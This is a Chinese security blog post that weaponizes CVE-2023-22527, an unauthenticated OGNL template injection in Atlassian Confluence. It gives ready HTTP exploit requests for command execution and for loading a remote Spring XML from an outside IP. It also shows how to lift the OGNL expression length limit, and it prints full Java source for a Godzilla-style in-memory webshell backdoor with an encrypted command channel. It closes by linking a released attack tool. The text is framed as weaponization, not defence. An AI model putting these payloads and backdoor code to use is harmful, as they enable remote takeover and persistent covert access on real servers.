0-0 参考文献
文章在先知社区首发
Atlassian Confluence 模板注入代码执行漏洞(CVE-2023-22527) - 先知社区
Bypassing OGNL sandboxes for fun and charities
0-1 简要分析
漏洞点源自于/template/aui/text-inline.vm
路由的一个未授权访问,这是一个velocity模板文件,该模板文件内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| #set( $labelValue = $stack.findValue("getText('$parameters.label')") ) #if( !$labelValue ) #set( $labelValue = $parameters.label ) #end
#if (!$parameters.id) #set( $parameters.id = $parameters.name) #end
<label id="${parameters.id}-label" for="$parameters.id"> $!labelValue #if($parameters.required) <span class="aui-icon icon-required"></span> <span class="content">$parameters.required</span> #end </label>
#parse("/template/aui/text-include.vm")
|
漏洞点自然就在$stack.findValue("getText('$parameters.label')
明显的一段OgnlStack的findValue操作,那么label参数就会被ognl解析。因此payload第一段为
用unicode是为了防止url编码导致参数传入失败。并且Ognl是支持unicode编码的。之后就是poc的第二段
1
| [email protected]@getResponse().setHeader('Cmd-Responses-Header',(new freemarker.template.utility.Execute()).exec({"id"}))
|
用freemarker去做命令执行处理,cmd回显策略。这一段就是很普通的ognl命令回显了,并没有什么其他的操作。
0-1.1 有趣的思考
漏洞点中的context如上图所示,内容为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| "com.opensymphony.xwork2.ActionContext.locale" -> {Locale@66441} "request" -> {RequestMap@66442} size = 32 key = "request" value = {RequestMap@66442} size = 32 "__prepare_recursion_counter" -> {Integer@66509} 1 "org.apache.catalina.AccessLog.RemoteHost" -> "127.0.0.1" "com.atlassian.confluence.util.message.MessagesDecoratorFilter__already_filtered__" -> {Boolean@66513} true "Confluence-Request-Time" -> {Long@66515} 1707673048234 "com.opensymphony.sitemesh.APPLIED_ONCE" -> {Boolean@66513} true "org.apache.tomcat.remoteAddr" -> "127.0.0.1" "B3-TraceId" -> "a981718bad3947" "struts.actionMapping" -> "noActionMapping" "__wrap_recursion_counter" -> {Integer@66509} 1 "org.apache.catalina.AccessLog.Protocol" -> "HTTP/1.1" ".KEY_velocity.struts2.context" -> {StrutsVelocityContext@66526} "com.atlassian.confluence.web.ConfluenceJohnsonFilter_already_filtered" -> {Boolean@66513} true "brave.propagation.TraceContext" -> {TraceContext@66529} "com.atlassian.gzipfilter.GzipFilter_already_filtered" -> {Boolean@66513} true "org.apache.catalina.AccessLog.ServerName" -> "localhost" "atlassian.core.seraph.original.url" -> "/template/aui/text-inline.vm" "com.atlassian.labs.botkiller.BotKillerFilter" -> {Boolean@66513} true "sessioninview.FILTERED" -> {Boolean@66513} true "org.apache.struts2.dispatcher.filter.StrutsPrepareFilter.REQUEST_EXCLUDED_FROM_ACTION_MAPPING" -> {Boolean@66538} false "com.atlassian.confluence.web.filter.validateparam.RequestParamValidationFilter_already_filtered" -> {Boolean@66513} true "brave.servlet.TracingFilter$SendHandled" -> {TracingFilter$SendHandled@66541} "brave.SpanCustomizer" -> {SpanCustomizerShield@66543} "sitemesh.secondaryStorageLimit" -> {Long@66545} -1 "org.apache.tomcat.request.forwarded" -> {Boolean@66513} true "com.atlassian.prettyurls.filter.PrettyUrlsSiteMeshFilter" -> {Boolean@66513} true "org.apache.catalina.AccessLog.ServerPort" -> {Integer@66549} 8090 "os_securityfilter_already_filtered" -> {Boolean@66513} true "com.atlassian.core.filters.HeaderSanitisingFilter_already_filtered" -> {Boolean@66513} true "com.atlassian.prettyurls.filter.PrettyUrlsSiteMeshFixupFilter" -> {Boolean@66513} true "loginfilter.already.filtered" -> {Boolean@66513} true "com.atlassian.confluence.impl.profiling.DecoratorTimings" -> {DecoratorTimings@66555} "org.apache.catalina.AccessLog.RemoteAddr" -> "127.0.0.1" "session" -> {SessionMap@66443} size = 1 "com.opensymphony.xwork2.dispatcher.PageContext" -> {PageContextImpl@66445} "com.opensymphony.xwork2.util.ValueStack.ValueStack" -> {OgnlValueStack@60828} "com.opensymphony.xwork2.ActionContext.container" -> {ContainerImpl@66448} "com.opensymphony.xwork2.dispatcher.HttpServletRequest" -> {StrutsRequestWrapper@60863} "com.opensymphony.xwork2.dispatcher.HttpServletResponse" -> {OAuthFilter$OAuthWWWAuthenticateAddingResponse@66451} "last.property.accessed" -> null "com.opensymphony.xwork2.ActionContext.parameters" -> {HttpParameters@66454} size = 2 "com.opensymphony.xwork2.dispatcher.ServletContext" -> {StandardContext$NoPluggabilityServletContext@66456} "last.bean.accessed" -> null "com.opensymphony.xwork2.ActionContext.application" -> {ApplicationMap@66459} size = 21 "com.opensymphony.xwork2.ActionContext.session" -> {SessionMap@66443} size = 1 "application" -> {ApplicationMap@66459} size = 21 "attr" -> {AttributeMap@66463} Unable to evaluate the expression Method threw 'java.lang.UnsupportedOperationException' exception. "current.property.path" -> null "parameters" -> {HttpParameters@66454} size = 2
|
其中.KEY_velocity.struts2.context
对应获取context上下文,那么这些其他的属性呢?我们也是可以获取的,是否有其他利用点呢?我相信答案肯定是有的,这里笔者就不偏离主题了,只阐述一下一种可能的思路。今天的重点是武器化
0-2 武器化实现
0-2.1 出网
0-2.1.1 ClassPathXmlApplicationContext
出网的话解决方法也好说,Poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /template/aui/text-inline.vm HTTP/1.1 Host: localhost:8090 Pragma: no-cache Cache-Control: no-cache sec-ch-ua: "Not A(Brand";v="99", "Microsoft Edge";v="121", "Chromium";v="121" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 193
label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=#a=new org.springframework.context.support.ClassPathXmlApplicationContext('http://8.130.24.188:8888/1.xml')
|
这个Poc首先是成立的,然后假如想进一步利用就利用SPEL去注入内存马即可了。
exp的模板如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:spring="http://camel.apache.org/schema/spring" xmlns:context="http://www.springframework.org/schema/context" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://camel.apache.org/schema/spring http://camel.apache.org/schema/spring/camel-spring.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd"> <context:property-placeholder ignore-resource-not-found="false" ignore unresolvable="false"/> <bean id="ClassBase64Str" class="java.lang.String"> <constructor-arg value="<base64>"> </constructor-arg> </bean> <bean class="# {T(org.springframework.cglib.core.ReflectUtils).defineClass('<classname>',T(org.springframework.util.Base64Utils).decodeFromString(ClassBase64Str.to String()),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()) ).newInstance().test1()}"> </bean> </beans>
|
这样的话我们也可以达到一种武器化。但是既然都出网了,我们为什么不反弹shell然后做后渗透呢?你说得对,这一是一种方法
0.2.1.2 Agent Memshell+ReverseShell
假如我们通过反弹shell获得了一个confluence权限,那么我们可以注入内存马吗?答案是肯定的,但是既然都拿到了反弹shell,我们当然也是可以直接上C2平台后渗透的,但是有时候有一些特殊的需求,我们是必须需要内存马的。
这时候可以使用vagent进行后渗透处理。
https://github.com/veo/vagent
使用效果如下,我们可以直接进行哥斯拉连接
至于agent内存马的原理就可以自行去了解,阅读一下vagent的源码会很有帮助~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| public static Map targetClasses() { Map targetClasses = new HashMap(); Map targetClassJavaxMap = new HashMap(); targetClassJavaxMap.put("methodName", "service"); List paramJavaxClsStrList = new ArrayList(); paramJavaxClsStrList.add("javax.servlet.ServletRequest"); paramJavaxClsStrList.add("javax.servlet.ServletResponse"); targetClassJavaxMap.put("paramList", paramJavaxClsStrList); targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap); Map targetClassJakartaMap = new HashMap(); targetClassJakartaMap.put("methodName", "service"); List paramJakartaClsStrList = new ArrayList(); paramJakartaClsStrList.add("jakarta.servlet.ServletRequest"); paramJakartaClsStrList.add("jakarta.servlet.ServletResponse"); targetClassJakartaMap.put("paramList", paramJakartaClsStrList); targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap); targetClasses.put("jakarta.servlet.http.HttpServlet", targetClassJakartaMap); if (ServerDetector.isWebLogic()) { targetClasses.clear(); Map targetClassWeblogicMap = new HashMap(); targetClassWeblogicMap.put("methodName", "execute"); List paramWeblogicClsStrList = new ArrayList(); paramWeblogicClsStrList.add("javax.servlet.ServletRequest"); paramWeblogicClsStrList.add("javax.servlet.ServletResponse"); targetClassWeblogicMap.put("paramList", paramWeblogicClsStrList); targetClasses.put("weblogic.servlet.internal.ServletStubImpl", targetClassWeblogicMap); } return targetClasses; }
|
定义了很多targetclass,然后利用插秧技术直接插入了一段shellcode。非常不错的思路
0.2.1.3 Windows系统?
万一是windows系统呢?当然这种可能性很小,confluence一般都是部署在linux服务器上的。那假如是windows服务器,不能反弹shell,我们该怎么做?这里提供一种可能的思路,既然是tomcat部署的,我们直接笨一点,一段段的echo一个jsp木马进去就好了。
0.2.2 通杀思路
那万一不出网呢?是不是就歇逼了?当然不是,我们仍然是可以注入内存马的,但在这之前我们需要绕过一些东西。
0.2.2.1 长度绕过限制
当我们解析Ognl的时候,我们拿到的不是ognl.Ognl对象,而是ognltool对象,这个对象是默认加了黑名单以及一些过滤处理的。就比如下图中设置了maxLength为200
也就是我们的payload始终不能超过200,一旦超过了那么就会报错
这样的话payload就作废了,那么我们不妨先看看这个属性是什么
一个静态的static属性,全局检索一番不难发现
位于ognl.Ognl#applyExpressionMaxLength
是可以设置length的
这个属性首先默认在配置文件中出现
在8.5.1中为200,在8.5.3是150,当然这都不要紧,因为我们是可以设置length的,我们可以通过调用applyExpressionMaxLength
方法达到类似覆盖的效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /template/aui/text-inline.vm HTTP/1.1 Host: localhost:8090 Pragma: no-cache Cache-Control: no-cache sec-ch-ua: "Not A(Brand";v="99", "Microsoft Edge";v="121", "Chromium";v="121" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 190
label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&[email protected]@applyExpressionMaxLength(20000000)
|
可以看到,成功进入该方法设置属性值,第二次访问会发现属性已经被覆盖。
0.2.2.2 内存马注入
既然长度限制被我们解决了,那就可以注入内存马了,现在需要绕过的是Ognl内置的EvalChain检测和黑名单,这里我选择直接defineclass。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /template/aui/text-inline.vm HTTP/1.1 Host: localhost:8090 Pragma: no-cache Cache-Control: no-cache sec-ch-ua: "Not A(Brand";v="99", "Microsoft Edge";v="121", "Chromium";v="121" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 11331
label=aaa\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})+\u0027&poc=(@org.springframework.cglib.core.ReflectUtils@defineClass('ConfluenceFilterMemshell',@org.springframework.util.Base64Utils@decodeFromString(''),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()
|
那么我们还该思考内存马怎么去构造,这里可以直接参考beichen师傅之前的内存马,但是需要做一些微小的变化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195
| package main;
import java.io.PrintWriter; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; import java.util.ArrayList; import java.util.Base64;
public class ConfluenceFilterMemshell extends ClassLoader implements InvocationHandler { private static boolean initialized = false; private static Object lock = new Object(); private static Class payloadClass; private static String password; private static String key; public ConfluenceFilterMemshell(ClassLoader loader){ super(loader); } public ConfluenceFilterMemshell(){ synchronized (lock){ if (!initialized){ try { Class servletRequestListenerClass = null; try { servletRequestListenerClass = Class.forName("jakarta.servlet.ServletRequestListener"); } catch (Exception e) { try { servletRequestListenerClass = Class.forName("javax.servlet.ServletRequestListener"); } catch (ClassNotFoundException ex) {
} } if (servletRequestListenerClass!=null){ addListener(Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),new Class[]{servletRequestListenerClass},this),getStandardContext()); } }catch (Throwable e){
} initialized = true; } } }
private Object getStandardContext() { try { Object servletActionContextCompatManager = Class.forName("com.atlassian.confluence.compat.struts2.servletactioncontext.ServletActionContextCompatManager").newInstance(); Method getRequest = Class.forName("com.atlassian.confluence.compat.struts2.servletactioncontext.ServletActionContextCompatManager").getMethod("getRequest"); Object request = getRequest.invoke(servletActionContextCompatManager, null); Object servletContext = invokeMethod(request, "getServletContext"); return getFieldValue(getFieldValue(servletContext,"context"), "context"); } catch (Exception e) {
return null; } }
private String addListener(Object listener,Object standardContext)throws Exception{ Method addApplicationEventListenerMethod = standardContext.getClass().getDeclaredMethod("addApplicationEventListener",Object.class); addApplicationEventListenerMethod.setAccessible(true); addApplicationEventListenerMethod.invoke(standardContext,listener); return "ok"; }
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { if (method.getName().equals("requestInitialized")){ Object servletRequestEvent = args[0]; backDoor(servletRequestEvent); } return null; }
private Object invokeMethod(Object obj,String methodName,Object... parameters){ try { ArrayList classes = new ArrayList(); if (parameters!=null){ for (int i=0;i<parameters.length;i++){ Object o1=parameters[i]; if (o1!=null){ classes.add(o1.getClass()); }else{ classes.add(null); } } } Method method=getMethodByClass(obj.getClass(), methodName, (Class[])classes.toArray(new Class[]{}));
return method.invoke(obj, parameters); }catch (Exception e){
} return null; } private Method getMethodByClass(Class cs,String methodName,Class... parameters){ Method method=null; while (cs!=null){ try { method=cs.getMethod(methodName, parameters); cs=null; }catch (Exception e){ cs=cs.getSuperclass(); } } return method; } public static Object getFieldValue(Object obj, String fieldName) throws Exception { Field f=null; if (obj instanceof Field){ f=(Field)obj; }else { Method method=null; Class cs=obj.getClass(); while (cs!=null){ try { f=cs.getDeclaredField(fieldName); cs=null; }catch (Exception e){ cs=cs.getSuperclass(); } } } f.setAccessible(true); return f.get(obj); } public String getParameter(Object requestObject,String name) { return (String) invokeMethod(requestObject, "getParameter", name); } public String getContentType(Object requestObject) { return (String) invokeMethod(requestObject, "getContentType"); }
public byte[] aes(byte[] s,boolean m){ try{ javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES"); c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(key.getBytes(),"AES")); return c.doFinal(s); }catch (Exception e){ return null; } }
public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; }
private void backDoor(Object servletRequestEvent) { try { Object request = invokeMethod(servletRequestEvent,"getServletRequest"); Object responseforvalidate = getFieldValue(getFieldValue(request, "request"), "response"); this.invokeMethod(responseforvalidate,"setHeader","X-Cmd-Result","ok"); if (true){ try { String contentType = getContentType(request); if (contentType!=null && contentType.contains("application/x-www-form-urlencoded")) { String value = getParameter(request,password); if (value!=null){ byte[] data = Base64.getDecoder().decode(value); data = aes(data, false); if (data != null && data.length > 0){ if (payloadClass == null) { payloadClass = new ConfluenceFilterMemshell(request.getClass().getClassLoader()).defineClass(data,0,data.length); } else { java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = payloadClass.newInstance(); f.equals(arrOut); f.equals(request); f.equals(data); f.toString();
String md5 = md5(password + key); if (arrOut.size()>0) { Object response = getFieldValue(getFieldValue(request,"request"),"response"); PrintWriter printWriter = (PrintWriter) invokeMethod(response,"getWriter"); printWriter.write(md5.substring(0, 16)); printWriter.write(Base64.getEncoder().encodeToString(aes(arrOut.toByteArray(), true))); printWriter.write(md5.substring(16)); printWriter.flush(); printWriter.close(); } } } } }
}catch (Throwable e){ } } }catch (Exception e){
} }
}
|
我们获取Context的类需要改为com.atlassian.confluence.compat.struts2.servletactioncontext.ServletActionContextCompatManager
最后即可成功注入内存马
工具制作
工具参考北辰师傅的[CVE-2022-26134-Godzilla-MEMSHELL](https://github.com/BeichenDream/CVE-2022-26134-Godzilla-MEMSHELL)
,做了些简单的改写。
已经在Github上传
https://github.com/Boogipop/CVE-2023-22527-Godzilla-MEMSHELL
师傅要是觉得不错的话可以给个Star支持一下呀